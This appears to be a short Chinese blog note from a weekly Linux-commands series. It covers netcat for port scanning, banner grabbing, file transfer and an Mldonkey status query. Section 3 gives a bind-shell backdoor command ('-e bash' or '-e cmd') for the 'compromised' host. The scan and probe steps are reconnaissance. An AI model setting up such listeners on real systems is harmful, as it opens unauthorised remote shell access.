[LCOTW] Netcat notes

LCOTW (Linux Commands Of The Week) Tag 下是每周总结 Linux 命令用法的活动。
本文内容是 netcat tutorial 的简化中文版。

1. 端口扫描
netcat -v -w 2 -z localhost 20-80
-v 是 verbose 模式
-w 设置超时时间
-z 设置 Zero IO,在监听模式下,会拒绝所有连接,在访问模式下会在建立连接后马上断开

2. 踩点
netcat -v localhost 80
用这个命令可以查看 HTTP 连接的信息,输入 GET HTTP 构造一个非法请求以刺探服务器信息,我通常用 curl 来作这件事:

curl -I localhost

3. 用 netcat 作后门
服务端(即被入侵端)

netcat -l -p 10001 -e bash

如果服务端是 windows 就输入:

netcat -l -p 10001 -e cmd

在 GNU netcat 0.7.1 里面 -d 是开启 debug 模式的选项,但旧版里是 Tells Netcat to detach from the process we want it to run
从客户端连接:

netcat -v localhost 10001

4. 文件传输
在服务端:

netcat -l -p 10001 > file.dat

在客户端:

netcat localhost 10001 < file_to_be_transfered.dat

记住按 ctrl+c 终止传输,检查文件的 md5 是否一致。

补充一个关于 Mldonkey 的技巧,Mldonkey 支持 telnet 方式检查下载状态,但登入登出 telnet 太麻烦,用 netcat 可以简化这个过程:

 echo -e 'vd\nexit' | netcat localhost 4000

谢谢 chroot 提供这个方法